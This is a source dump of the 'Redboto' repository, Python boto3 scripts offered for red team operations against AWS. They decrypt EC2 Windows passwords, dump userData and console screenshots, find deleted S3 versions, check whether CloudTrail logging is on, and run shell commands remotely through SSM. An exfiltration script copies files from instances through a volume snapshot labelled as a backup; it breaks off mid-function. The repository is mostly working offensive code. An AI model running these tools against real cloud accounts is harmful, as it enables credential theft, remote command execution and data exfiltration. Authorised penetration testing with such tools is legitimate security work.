├── describeConsoleScreenshot.py ├── describeDeletedItems.py ├── .gitignore ├── describeTrailStatus.py ├── describeUserData.py ├── README.md ├── getEC2WinCreds.py ├── runSSMShellScript.py ├── checkAWSKey.py ├── createS3PresignedURL.py ├── describeInstances.py ├── getEC2Files.py └── LICENSE /describeConsoleScreenshot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto/ 5 | 6 | # This script uses boto3 and to take screenshots from EC2 hosts 7 | 8 | # Wishlist: 9 | # allow you to specify a specific host 10 | # specify specific host 11 | # python2 support? 12 | import boto3, base64, os 13 | 14 | 15 | #connection stricly to get regions 16 | client = boto3.client(service_name='ec2', region_name='us-east-1') 17 | regions = client.describe_regions()['Regions'] 18 | 19 | #Iterate through the regions 20 | for region in regions: 21 | print('[*] Checking region ' + region['RegionName'] + '\n') 22 | ec2 = boto3.client('ec2', region_name=region['RegionName']) 23 | r = ec2.describe_instances() 24 | # iterate through instances to look for instances to screenshot 25 | for reservation in r["Reservations"]: 26 | for instance in reservation["Instances"]: 27 | id = instance['InstanceId'] 28 | if instance['State']['Name'] == 'running': 29 | response = ec2.get_console_screenshot(InstanceId=id, WakeUp=True) 30 | filename = "screenshots/%s.jpeg" % id 31 | print(' [*] Found instance '+ id + ' writing ' + filename + '\n' ) 32 | # This may be python3 specific 33 | os.makedirs(os.path.dirname(filename), exist_ok=True) 34 | with open(filename, "wb") as f: 35 | f.write(base64.b64decode(response['ImageData'])) 36 | -------------------------------------------------------------------------------- /describeDeletedItems.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto/ 5 | 6 | # This script uses boto3 and texttable to print 7 | # information about deleted items in an S3 bucket 8 | 9 | # Wishlist: 10 | # error checking 11 | # *When using an non-versioned bucket or there are no results. 12 | # pagination 13 | 14 | import boto3, argparse 15 | from texttable import Texttable 16 | 17 | argparser = argparse.ArgumentParser(description='Prints info about deleted items in s3 buckets and helps you download them.') 18 | argparser.add_argument('bucket', help='The bucket with versioning enabled.') 19 | args = argparser.parse_args() 20 | 21 | bucket = args.bucket 22 | client = boto3.client('s3') 23 | response = client.list_object_versions(Bucket=bucket) 24 | 25 | 26 | table = Texttable() 27 | table.set_cols_align(["c", "c", "c", "c"]) 28 | table.set_cols_valign(["m", "m", "m", "m"]) 29 | table.set_cols_width([10,32,32,32]) 30 | table.header(["Owner", "Key", "VersionID", "LastModified"]) 31 | deletedKeys = [] 32 | for marker in response['DeleteMarkers']: 33 | deletedKeys.append(marker['Key']) 34 | 35 | for version in response['Versions']: 36 | if version['Key'] in deletedKeys: 37 | table.add_row([version['Owner']['DisplayName'] , version['Key'] , version['VersionId'],str(version['LastModified'])+" UTC"]) 38 | 39 | 40 | print(table.draw() + "\n") 41 | 42 | print("If deleted objects were found you may be able to download them with the following command.") 43 | print("Just remeber to include the correct Key and versionId.\n") 44 | print("aws s3api get-object --bucket " + bucket + " --key --version-id ") 45 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /describeTrailStatus.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto/ 5 | 6 | # This script uses boto3 and texttable to print 7 | # userData from EC2 instances from each region 8 | 9 | # TODO: Better API Key Support? 10 | # API keys currently are loaded from a profile 11 | # Better secret key handling? 12 | # TODO: Better error handling 13 | import boto3 14 | 15 | #This loads the aws profile called 'default' 16 | session = boto3.session.Session(profile_name='default', region_name='us-east-2b') 17 | #We are just connecting to a random region in order to fetch a list of regions 18 | ec2 = session.client('ec2', 'us-east-2') 19 | #Get the regions 20 | regions = [region['RegionName'] for region in ec2.describe_regions()['Regions']] 21 | 22 | #Iterate through each region and check for the prescense of trails 23 | #Probably need to do better error checking 24 | #Pull requests accepted! 25 | for region in regions: 26 | cloudtrail = boto3.client('cloudtrail', region) 27 | if not cloudtrail.describe_trails()['trailList']: 28 | print("[*] Region " + region + " doesn't appear to have Cloudtrails or you don't have permission") 29 | else: 30 | print("[-] Region " + region + " appears to have Cloudtrails") 31 | for trail in cloudtrail.describe_trails()['trailList']: 32 | print(" [+] Found a cloudtrail named: " + trail['Name'] + " in a bucket named: " + trail['S3BucketName']) 33 | if trail['LogFileValidationEnabled'] is True: 34 | print(" [+] Cloudtrail named: " + trail['Name'] + " has validation enabled.") 35 | else: 36 | print(" [+] Cloudtrail named: " + trail['Name'] + " does not have validation enabled.") 37 | -------------------------------------------------------------------------------- /describeUserData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto/ 5 | 6 | # This script uses boto3 and texttable to print 7 | # userData from EC2 instances from each region 8 | 9 | # Wishlist: 10 | # allow you to specify a specific host 11 | import boto3, base64 12 | from texttable import Texttable 13 | 14 | 15 | #connection stricly to get regions 16 | client = boto3.client(service_name='ec2', region_name='us-east-1') 17 | regions = client.describe_regions()['Regions'] 18 | 19 | #Iterate through the regions 20 | for region in regions: 21 | print('[*] Checking region ' + region['RegionName'] + '\n') 22 | ec2 = boto3.resource(service_name='ec2', region_name=region['RegionName']) 23 | 24 | # Start building the table 25 | table = Texttable() 26 | table.set_cols_align(["c", "l"]) 27 | table.set_cols_valign(["m", "m"]) 28 | table.set_cols_width([20,80]) 29 | table.header(["InstanceID", "UserData"]) 30 | 31 | # this is used to not print the table if there is no data in this region 32 | isData = False 33 | 34 | # iterate through instances to look for userData 35 | for instance in ec2.instances.all(): 36 | response = instance.describe_attribute(Attribute='userData') 37 | instanceid = ec2.Instance(instance.id).id 38 | 39 | # Probably a better way to do this PRs accepted! 40 | try: 41 | if response['UserData']['Value']: 42 | # add to the table if we have data 43 | table.add_row([instanceid , base64.b64decode(response['UserData']['Value'])]) 44 | # this turns on printing of the table for this region at the end of this for loop 45 | isData = True 46 | except KeyError: 47 | break 48 | 49 | # If we have data in this region print the table 50 | if isData: 51 | print(table.draw() + '\n') 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Redboto 2 | ========== 3 | 4 | ``Redboto`` is a collection of scripts that use the Amazon SDK for Python boto3 5 | to perform red team operations against the AWS API. 6 | 7 | You can install the pre-requisite libraries with: 8 | 9 | $ pip install cryptography boto3 texttable 10 | 11 | getEC2WinCreds.py 12 | ---------- 13 | 14 | If you have the right API key and .pem you can download and decrypt the intial Windows password for an instance. 15 | 16 | getEC2Files.py 17 | ---------- 18 | Certainly the most complicated script of the bunch. This script works well in conjunction with describeInstances.py which gives you metadata about instances in EC2. With a very well permission API key you can exflitrate files from an EC2 instance. The script takes a snapshot of a target volume, spins up an instance to attach to the volume, spins up and creates an S3 bucket, when the instance finishes launching it encrypts and copies the chosen files to the s3 bucket, the script pulls down from the S3 bucket and decrypts the files. The script then tears down the infrastructure that it has created, leaving only logs behind, if enabled. 19 | 20 | checkAWSKey.py 21 | ---------- 22 | 23 | Checks certain aspects of a key. Valuable when checking if a key has been rotated or not, 24 | or if it has things like MFA have been turned on. 25 | 26 | createS3PresignedURL.py 27 | ---------- 28 | Creates S3 presigned URLs that can be read or written to with GET/POST requests without API keys(once signed). This allows you to download or upload files from or to S3 without an AWS sdk or client. 29 | 30 | describeTrailStatus.py 31 | ---------- 32 | 33 | This will tell you what regions have logging enabled. If any. 34 | 35 | describeInstances.py 36 | ---------- 37 | You can describe-instances with the AWS cli, however it returns ugly json. This tool returns 38 | a subset(but growing) of what describe-instances does, however it is much more readable. 39 | 40 | describeDeletedItems.py 41 | ---------- 42 | describeDeletedItems.py lists items with delete markers and each of their corresponding versionIds. Currently doesn't list all items in a bucket with more than 1000 versionIds. 43 | 44 | describeUserData.py 45 | ---------- 46 | describeUserData.py lists the userData attribute of instances. You can think of this as the startup script of the virtual machine. 47 | 48 | describeConsoleScreenshot.py 49 | ---------- 50 | describeConsoleScreenshot.py iterates through instances in each region and prints the screenshots of each instance that is running. 51 | 52 | runSSMShellScript.py 53 | ---------- 54 | runSSMShellScript.py runs a shell script on a Linux host or a PowerShell script on a Windows host via SSM if installed and configured. The commands can be taken from a script or input directly via a semi-interactive shell. 55 | 56 | Pull requests accepted! 57 | -------------------------------------------------------------------------------- /getEC2WinCreds.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto/ 5 | 6 | # This script uses boto3 and texttable to print 7 | # userData from EC2 instances from each region 8 | 9 | # TODO: Better API Key Support? 10 | # API keys currently are loaded from a profile 11 | # Better secret key handling? 12 | # TODO: Better error handling 13 | import boto3, os, base64, argparse 14 | from cryptography.hazmat.backends import default_backend 15 | from cryptography.hazmat.primitives import serialization 16 | from cryptography.hazmat.primitives import hashes 17 | from cryptography.hazmat.primitives.asymmetric import padding 18 | from texttable import Texttable 19 | 20 | argparser = argparse.ArgumentParser(description='Attempts to decrypt the default password for a Windows host') 21 | argparser.add_argument('--profile', default='default', help='The profile name in ~/.aws/credentials') 22 | argparser.add_argument('region', help='The AWS region that you want to do everything in') 23 | argparser.add_argument('keyfile', help='Path to keyfile associated with the instance') 24 | args = argparser.parse_args() 25 | 26 | #This function decrypts the password using the EC2 private key from the pem 27 | def decrypt(ciphertext, keyfile=args.keyfile): 28 | with open(keyfile, "rb") as key_file: 29 | private_key = serialization.load_pem_private_key( 30 | key_file.read(), 31 | password=None, 32 | backend=default_backend() 33 | ) 34 | plaintext = private_key.decrypt( 35 | ciphertext,padding.PKCS1v15() 36 | ) 37 | return plaintext 38 | 39 | ##You may need to adjust the region? 40 | #This loads the aws profile called 'default' 41 | session = boto3.session.Session(profile_name='default', region_name=args.region) 42 | client = session.client('ec2', args.region) 43 | #write the top of the csv 44 | table = Texttable() 45 | table.set_cols_align(["c", "c", "c", "c", "c"]) 46 | table.set_cols_valign(["m", "m", "m", "m", "m"]) 47 | table.set_cols_width([20,15,15,15, 32]) 48 | table.header(["Instance ID", "Name", "PrivateIpAddress", "PublicIpAddress", "Password"]) 49 | def get_ec2_info(): 50 | #load all the reservations 51 | reservations = client.describe_instances() 52 | #iterate through all of the reservations and instances. 53 | for reservation in reservations['Reservations']: 54 | for instance in reservation["Instances"]: 55 | # Get the encrypted password and decrypt 56 | data = client.get_password_data(InstanceId=instance['InstanceId']) 57 | if client.get_password_data(InstanceId=instance['InstanceId'])['PasswordData']: 58 | password = decrypt(base64.b64decode(data['PasswordData'])).decode('ascii') 59 | #print the instance ID, private IP and password as the for loops iterate 60 | #TODO Not sure if this works well with multiple tags. 61 | if instance['Tags'][0]['Value']: 62 | name = instance['Tags'][0]['Value'] 63 | else: 64 | name = ' ' 65 | if instance['PublicIpAddress']: 66 | publicip = instance['PublicIpAddress'] 67 | else: 68 | publicip = ' ' 69 | table.add_row([instance['InstanceId'], name , instance['PrivateIpAddress'], publicip , password]) 70 | get_ec2_info() 71 | print(table.draw()) 72 | -------------------------------------------------------------------------------- /runSSMShellScript.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto/ 5 | 6 | # This script runs commands on a SSM host 7 | # 8 | 9 | # Wishlist: 10 | # Error checking? 11 | # output to a file? 12 | 13 | import boto3, argparse, botocore.exceptions, time, cmd 14 | 15 | # Sets up the argument parser 16 | argparser = argparse.ArgumentParser(description='Runs commands on SSM enabled hosts') 17 | argparser.add_argument('--profile', default='default', help='The profile name in ~/.aws/credentials') 18 | argparser.add_argument('--region', help='The region the instance is in.') 19 | argparser.add_argument('instanceid', help='The InstanceID of the host with SSM installed and configured.') 20 | argparser.add_argument('--commandfile', help='The file with commands to be run. If not specified a shell is emulated') 21 | args = argparser.parse_args() 22 | 23 | # Sets the profile for clients 24 | if args.profile: 25 | boto3.setup_default_session(profile_name=args.profile) 26 | 27 | region = args.region 28 | instanceid = args.instanceid 29 | # This starts the ssm client 30 | ssm_client = boto3.client('ssm', region_name=region) 31 | 32 | # This queries SSM for information to determine Windows or Linux 33 | instanceInfo = ssm_client.describe_instance_information(Filters=[ 34 | { 35 | 'Key': 'InstanceIds', 36 | 'Values': [ 37 | instanceid 38 | ] 39 | }, 40 | ]) 41 | # This should be Windows or Linux 42 | platform = instanceInfo['InstanceInformationList'][0]['PlatformType'] 43 | if platform == 'Windows': 44 | document = 'AWS-RunPowerShellScript' 45 | prompt = 'PS AWS:\\> ' 46 | badStatus = 'InProgress' 47 | crlf = '' 48 | elif platform == 'Linux': 49 | document = 'AWS-RunShellScript' 50 | prompt = 'you@%s:$ ' % args.instanceid 51 | badStatus = 'Pending' 52 | crlf = ' /\n' 53 | else: 54 | print('Unknown platform, exiting') 55 | quit() 56 | 57 | # This is the function that connects to SSM and runs the command 58 | def runCommand(command): 59 | response = ssm_client.send_command( 60 | InstanceIds=[instanceid], 61 | DocumentName=document, 62 | Parameters={'commands': [command]}, ) 63 | # Because the command takes a while to run we don't immediately receive a response 64 | # the CommandID allows us to check the status 65 | command_id = response['Command']['CommandId'] 66 | # This is a variable for the while loop. 67 | processed = 1 68 | time.sleep(1) 69 | 70 | # This loop checks the status and exits the loop once the status changes from Pending 71 | while processed: 72 | output = ssm_client.get_command_invocation( 73 | CommandId=command_id, 74 | InstanceId=instanceid, 75 | ) 76 | time.sleep(1) 77 | # There may be other statuses to check for. These are the ones I've encountered. 78 | # There may be room here for better error checking 79 | if output['StatusDetails'] == 'Pending': 80 | pass 81 | elif output['StatusDetails'] == 'InProgress': 82 | pass 83 | else: 84 | # This breaks us out of the while loop 85 | processed = 0 86 | 87 | return(output['StandardOutputContent']) 88 | 89 | # This runs the command from a file better for long bash scripts or stagers 90 | if args.commandfile: 91 | file = open(args.commandfile, 'r') 92 | script = file.read() 93 | print(runCommand(script)) 94 | else: 95 | 96 | class CMDLoop(cmd.Cmd): 97 | intro = 'This isn\'t actually an interactive shell\n Ctrl+D to exit.' 98 | prompt = prompt 99 | def default(self, line): 100 | print(runCommand(line+crlf)) 101 | # return 102 | 103 | def do_EOF(self, line): 104 | return True 105 | 106 | CMDLoop().cmdloop() 107 | -------------------------------------------------------------------------------- /checkAWSKey.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #pip install boto3 3 | 4 | ##### 5 | ### 6 | ### The purpose of this script is to gather some quick info from 7 | ### AWS keys wittout making a lot of noise 8 | ### Examples are key validity, groups, policies and MFA 9 | ### 10 | ##### 11 | 12 | ##### Output example: 13 | #### This script checks the validity of AWS API keys 14 | #### and provides some basic info about them. 15 | #### What is the AWS Key ID? 16 | #### What is the AWS Key Secret? 17 | #### [*] Checking the key AKIA.............. 18 | #### The key: AKIA............... appears to be valid 19 | #### The user "elitest" has the following groups: 20 | #### [*] Group: IAM-example-group 21 | #### Does the user: "elitest" have MFA configured? 22 | #### [*] MFA Device is configured 23 | ##### 24 | 25 | # TODO: take aws configs as a parameter 26 | # TODO: optionally write to a file 27 | # TODO: Put stuff in functions 28 | # TODO: Doesn't enumerate role info currentlys 29 | # TODO: May need to paginate for large permission sets? 30 | # Pull requests accepted 31 | 32 | #imports 33 | from __future__ import print_function 34 | import getpass, boto3, re 35 | import argparse 36 | 37 | parser = argparse.ArgumentParser(description='Checks AWS API keys.') 38 | parser.add_argument('--profile') 39 | 40 | args = parser.parse_args() 41 | 42 | print('This script checks the validity of AWS API keys') 43 | print('and provides some basic info about them.') 44 | if args.profile: 45 | # Open iam client 46 | boto3.setup_default_session(profile_name=args.profile) 47 | iam_client = boto3.client('iam') 48 | # Open sts client 49 | sts_client = boto3.client('sts') 50 | else: 51 | # Get creds 52 | access_id = getpass.getpass(prompt='What is the AWS Key ID? ') 53 | access_key = getpass.getpass(prompt='What is the AWS Key Secret? ') 54 | 55 | # Open iam client 56 | iam_client = boto3.client('iam', aws_access_key_id=access_id, aws_secret_access_key=access_key) 57 | # Open sts client 58 | sts_client = boto3.client('sts', aws_access_key_id=access_id, aws_secret_access_key=access_key) 59 | 60 | 61 | print(" [*] Checking the keys") 62 | 63 | # Test if keys are valid by finding current user and if not valid, exit 64 | try: 65 | user = iam_client.get_user() 66 | accountnum = sts_client.get_caller_identity()['Account'] 67 | print(' [-] The keys appears to be valid for account: ' + accountnum ) 68 | except: 69 | print(' [-] The keys do not appear to be valid or do not have enough permissions to determine validity') 70 | exit() 71 | 72 | # Get username associated with keys 73 | username = user['User']['UserName'] 74 | 75 | # this loads a bunch of info about user from iam 76 | details = iam_client.get_account_authorization_details(Filter=['User','Group']) 77 | 78 | if details['GroupDetailList']: 79 | # this pulls out the group details 80 | grouplist = details['GroupDetailList'] 81 | 82 | # this section lists the policies attached via groups 83 | print('The user \"' + username +'\" has the following policies attached because of group membership:') 84 | for group in grouplist: 85 | for policy in group['AttachedManagedPolicies']: 86 | policyname = policy['PolicyName'] 87 | groupname = group['GroupName'] 88 | print(' [*] The group ' + groupname + ' attches the following policy:') 89 | print(' [-] ' + policyname) 90 | 91 | if details['UserDetailList']: 92 | for userdetails in details['UserDetailList']: 93 | # this section lists the policies attached directly and then specifies inline policies 94 | print('The user \"' + username +'\" has the following policies attached directly to their account:') 95 | for policy in userdetails['AttachedManagedPolicies']: 96 | policyname = policy['PolicyName'] 97 | print(' [-] ' + policyname) 98 | 99 | #TODO there must be a better way 100 | try: 101 | # this section lists the policies attached directly 102 | print('The user \"' + username +'\" has the following inline policies directly to their account:') 103 | 104 | for policy in userdetails['UserPolicyList'][0]['PolicyDocument']['Statement'][0]['Action']: 105 | print(' [-] ' + policy) 106 | except KeyError: 107 | pass 108 | 109 | 110 | # List if they have MFA device(s) configured 111 | mfas = iam_client.list_mfa_devices(UserName=username) 112 | if mfas['MFADevices'] == []: 113 | print(" [*] MFA Device is NOT configured") 114 | else: 115 | for mfa in mfas['MFADevices']: 116 | print(" [*] MFA Device is configured") 117 | 118 | -------------------------------------------------------------------------------- /createS3PresignedURL.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto/ 5 | 6 | # This script presigns URLs for S3 to access S3 URLs without API keys 7 | 8 | # Wishlist: 9 | # error checking 10 | # Should we take URLs or just buckets and keys? 11 | 12 | import boto3, argparse 13 | from botocore.exceptions import ClientError 14 | 15 | 16 | # Set up the argparser 17 | argparser = argparse.ArgumentParser(description='This script presigns URLs for S3 to access S3 URLs without API keys.') 18 | argparser.add_argument('bucket', help='The bucket which contains the file to be signed.') 19 | argparser.add_argument('key', help='The path and name of the file to be signed.') 20 | argparser.add_argument('--profile', default='default', help='The profile name in ~/.aws/credentials') 21 | argparser.add_argument('--expiration', default=3600, help='The time in seconds from now that the link should expire.') 22 | argparser.add_argument('--post', action='store_true', help='Makes the file writable with a post.') 23 | args = argparser.parse_args() 24 | 25 | # Pull out some variables from the argparser 26 | bucket = args.bucket 27 | expiration = args.expiration 28 | key = args.key 29 | profile = args.profile 30 | 31 | # Set the profile and start the client 32 | boto3.setup_default_session(profile_name=profile) 33 | s3_client = boto3.client('s3') 34 | 35 | def create_presigned_url(bucket_name, object_name, expiration=3600): 36 | # This function is for GET requests 37 | # It is borrowed almost completely from the boto3 documentation 38 | """Generate a presigned URL to share an S3 object 39 | 40 | :param bucket_name: string 41 | :param object_name: string 42 | :param expiration: Time in seconds for the presigned URL to remain valid 43 | :return: Presigned URL as string. If error, returns None. 44 | """ 45 | 46 | # Generate a presigned URL for the S3 object 47 | try: 48 | response = s3_client.generate_presigned_url('get_object', 49 | Params={'Bucket': bucket_name, 50 | 'Key': object_name}, 51 | ExpiresIn=expiration) 52 | except ClientError as error: 53 | print(error) 54 | return None 55 | 56 | return response 57 | 58 | 59 | def create_presigned_post(bucket_name, object_name, 60 | fields=None, conditions=None, expiration=3600): 61 | # This function is for POST requests 62 | # It is borrowed almost completely from the boto3 documentation 63 | """Generate a presigned URL S3 POST request to upload a file 64 | 65 | :param bucket_name: string 66 | :param object_name: string 67 | :param fields: Dictionary of prefilled form fields 68 | :param conditions: List of conditions to include in the policy 69 | :param expiration: Time in seconds for the presigned URL to remain valid 70 | :return: Dictionary with the following keys: 71 | url: URL to post to 72 | fields: Dictionary of form fields and values to submit with the POST 73 | :return: None if error. 74 | """ 75 | 76 | # Generate a presigned S3 POST URL 77 | s3_client = boto3.client('s3') 78 | try: 79 | response = s3_client.generate_presigned_post(bucket_name, 80 | object_name, 81 | Fields=fields, 82 | Conditions=conditions, 83 | ExpiresIn=expiration) 84 | except ClientError as error: 85 | print(error) 86 | return None 87 | 88 | # The response contains the presigned URL and required fields 89 | return response 90 | 91 | if args.post: 92 | # This is for when the user wants to do a writable signed url via POST 93 | url = create_presigned_post(bucket,key,None,None,expiration) 94 | # This is a demo python script to make posting a bit easier. 95 | postInfo = """import requests 96 | fileContents = open('%s', 'rb').read() 97 | files = {'file': ('%s', fileContents, 'multipart/form-data')} 98 | http_response = requests.post('%s', files=files, data=%s) 99 | # This will return true if it succeeded. 100 | print(http_response.ok) 101 | 102 | """ % (url['fields']['key'], url['fields']['key'], url['url'], url['fields']) 103 | 104 | # This prints out the output 105 | print('============================================================') 106 | print('The following is a script that shows the example of how to') 107 | print('post data to S3 with only a few lines of python') 108 | print('Hopefully it will allow you to adapt it for other uses.') 109 | print('============================================================\n') 110 | print(postInfo) 111 | else: 112 | # This is for when the user wants to just download files via GET 113 | url = create_presigned_url(bucket,key,expiration) 114 | print(url) 115 | -------------------------------------------------------------------------------- /describeInstances.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Original Author @elitest 3 | # This script is part of Redboto 4 | # https://github.com/elitest/Redboto 5 | 6 | # This script uses boto3 and texttable to print 7 | # information about EC2 instances 8 | 9 | # Wishlist: 10 | # Add information such as networking, tags, etc. 11 | # Add control over which attributes are printed 12 | # Add the ability to specify profile and region 13 | 14 | import boto3, json, argparse, botocore.exceptions, sys 15 | from texttable import Texttable 16 | 17 | # Sets up the argument parser 18 | argparser = argparse.ArgumentParser(description='Describe instances in EC2 in a table') 19 | argparser.add_argument('--profile', default='default', help='The profile name in ~/.aws/credentials') 20 | argparser.add_argument('--region', help='The region you want to describe instances of. If not used, then all are listed.') 21 | argparser.add_argument('--network', action='store_true', help='Includes IP addresses in the output.') 22 | argparser.add_argument('--volume', action='store_true', help='Include volume information in the output.') 23 | args = argparser.parse_args() 24 | 25 | if args.profile: 26 | boto3.setup_default_session(profile_name=args.profile) 27 | 28 | # This function pulls the information out of the EC2 instance and builds the table 29 | def generate_table(region): 30 | ec2 = boto3.client(service_name='ec2', region_name=region) 31 | response = ec2.describe_instances() 32 | 33 | # Initialize the table unlimited width 34 | table = Texttable(max_width=0) 35 | 36 | # This is basically a builder for the width of the array used to build the table. 37 | tableWidth = 3 38 | if args.network: 39 | tableWidth +=2 40 | if args.volume: 41 | tableWidth +=2 42 | table.set_cols_align(tableWidth*["c"]) 43 | table.set_cols_valign(tableWidth*["m"]) 44 | 45 | # This is a builder for the names of the head of the table 46 | headerList = ["Instance ID", "Name", "State"] 47 | 48 | if args.volume: 49 | headerList += ["VolumeId","DeviceName"] 50 | if args.network: 51 | headerList += ["Private IPs", "Public IPs"] 52 | table.header(headerList) 53 | 54 | # If we get reservations iterate through them 55 | if response['Reservations']: 56 | for r in response['Reservations']: 57 | for i in r['Instances']: 58 | instanceid = i['InstanceId'] 59 | # We actually need some information not accessible by the client 60 | ec2Resource = boto3.resource('ec2', region) 61 | Instance = ec2Resource.Instance(i['InstanceId']) 62 | 63 | # Name of the instance otherwise blank 64 | if Instance.tags: 65 | for tag in Instance.tags: 66 | if tag['Key'] == 'Name': 67 | name = tag['Value'] 68 | # There may be another condition here 69 | else: 70 | name = '' 71 | 72 | # State of the instance 73 | state = i['State']['Name'] 74 | 75 | # This is the builder for the add_row function 76 | rowList = [instanceid, name, state] 77 | 78 | if args.volume: 79 | vs = '' 80 | dn = '' 81 | # Pull the device names 82 | for d in i['BlockDeviceMappings']: 83 | vs = vs + d['Ebs']['VolumeId'] + '\n' 84 | dn = dn + d['DeviceName'] + '\n' 85 | rowList += [vs,dn] 86 | 87 | if args.network: 88 | # This pulls the IP addresses 89 | # There are instances which may not have IPs 90 | try: 91 | public = i['PublicIpAddress'] 92 | except KeyError: 93 | public = '' 94 | try: 95 | private = i['PrivateIpAddress'] 96 | except KeyError: 97 | private = '' 98 | rowList += [public,private] 99 | 100 | # This adds the row 101 | table.add_row(rowList) 102 | # This draws the table 103 | print(table.draw() + "\n") 104 | else: 105 | print(' No instances found in this region\n') 106 | 107 | # This is if a region is specified in args 108 | if args.region is not None: 109 | regions = {} 110 | regions = [{'RegionName': '%s' % args.region}] 111 | else: 112 | #connection stricly to get regions 113 | client = boto3.client(service_name='ec2', region_name='us-east-1') 114 | regions = client.describe_regions()['Regions'] 115 | 116 | #Iterate through the regions 117 | #for region in regions: 118 | for region in regions: 119 | 120 | print("checking region: "+region['RegionName'] + "\n") 121 | try: 122 | generate_table(region['RegionName']) 123 | except botocore.exceptions.ClientError as error: 124 | if error.response['Error']['Code'] == 'UnauthorizedOperation': 125 | print('Are you sure you have the right permissions? Check IAM.') 126 | elif error.response['Error']['Code'] == 'AuthFailure': 127 | print('Your keys may be invalid. Perhaps they have been rotated?') 128 | #Something else happened here print the error code for inclusion above 129 | else: 130 | print(error.response['Error']['Code']) 131 | except botocore.exceptions.EndpointConnectionError as error: 132 | # Attempted to reach out to an invalid S3 endpoint 133 | print('Invalid region. Check that you have specified a region that exists') 134 | except TypeError as error: 135 | # This is the case where no instances were found. 136 | # Too broad of an excaption perhaps? 137 | print('exception is' +error) 138 | pass 139 | except: 140 | # catch all exception 141 | print("I'm not sure what happened here. Something else went wrong.",sys.exc_info()) 142 | -------------------------------------------------------------------------------- /getEC2Files.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #!/usr/bin/env python3 3 | # Original Author @elitest 4 | # This script is part of Redboto 5 | # https://github.com/elitest/Redboto/ 6 | 7 | # This script uses boto3 to exfiltrate files from an EC2 instance 8 | # using a list of known paths and a target volume where those files 9 | # may be. 10 | # N.B. you will need a very well permissioned API key to perform all 11 | # of these actions 12 | 13 | # TODO: Better crypto solution, limited by memory currently 14 | # TODO: I'd like to do a dry run, but not everything supports this 15 | # TODO: Might be better to check key permissions instead 16 | # TODO: Better error handling 17 | # TODO: Check for volume based on instance ID 18 | from cryptography.fernet import Fernet 19 | import boto3, argparse, time, sys, time, random, string, json, base64 20 | 21 | argparser = argparse.ArgumentParser(description='Copies Registry Hives from a running system to an s3 bucket') 22 | argparser.add_argument('volume_id', help='EC2 Volume ID') 23 | argparser.add_argument('--profile', default='default', help='The profile name in ~/.aws/credentials') 24 | argparser.add_argument('region', help='The AWS region that you want to do everything in') 25 | argparser.add_argument('files', help='The file with a list of files to download from the host') 26 | argparser.add_argument('--description', default='Created by backup script', help='Snapshot description') 27 | args = argparser.parse_args() 28 | 29 | files = open(args.files, "r").read().split() 30 | region = args.region 31 | profile = args.profile 32 | snapshot_name = 'Snapshot of ' + args.volume_id + '(' + time.strftime('%Y-%m-%dT%H:%M:%S %Z') + ')' 33 | 34 | #This loads the aws profile specified 35 | boto3.setup_default_session(profile_name=profile, region_name=region) 36 | ec2 = boto3.resource('ec2') 37 | client = boto3.client('ec2') 38 | s3_client = boto3.client('s3') 39 | s3 = boto3.resource('s3') 40 | 41 | #This creates an encryption key for later use 42 | k=Fernet.generate_key() 43 | 44 | 45 | def createsnapshot(): 46 | snapshot = ec2.create_snapshot(VolumeId=args.volume_id, Description=args.description) 47 | while snapshot.state != 'completed': 